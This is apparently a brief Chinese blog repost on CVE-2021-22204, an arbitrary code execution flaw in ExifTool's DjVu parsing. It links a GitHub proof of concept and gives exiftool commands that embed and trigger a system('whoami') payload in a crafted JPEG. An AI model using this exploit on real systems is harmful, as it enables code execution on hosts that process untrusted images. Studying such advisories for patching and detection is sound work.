CVE-2021-22204：ExifTool任意代码执行

时间：2021-05-18 16:01:29 阅读：11 评论：0 收藏：0 [点我收藏+]

CVE-2021-22204 ExifTool任意代码执行

github poc下载

https://github.com/OneSecCyber/JPEG_RCE

ExifTool 7.44至12.23在DjVu模块中存在一个错误，该错误允许在解析恶意图像时执行任意代码

meta-data为MIME Type : image/jpeg"即jpg图片可以达成RCE

exiftool -config eval.config mojave.jpg -eval=‘system("whoami")‘

exiftool mojave.jpg

技术分享图片

可以看到成功执行了命令

原文：https://www.cnblogs.com/LEOGG321/p/14780350.html

踩

(0)

评论一句话评论（0）

分享档案

更多>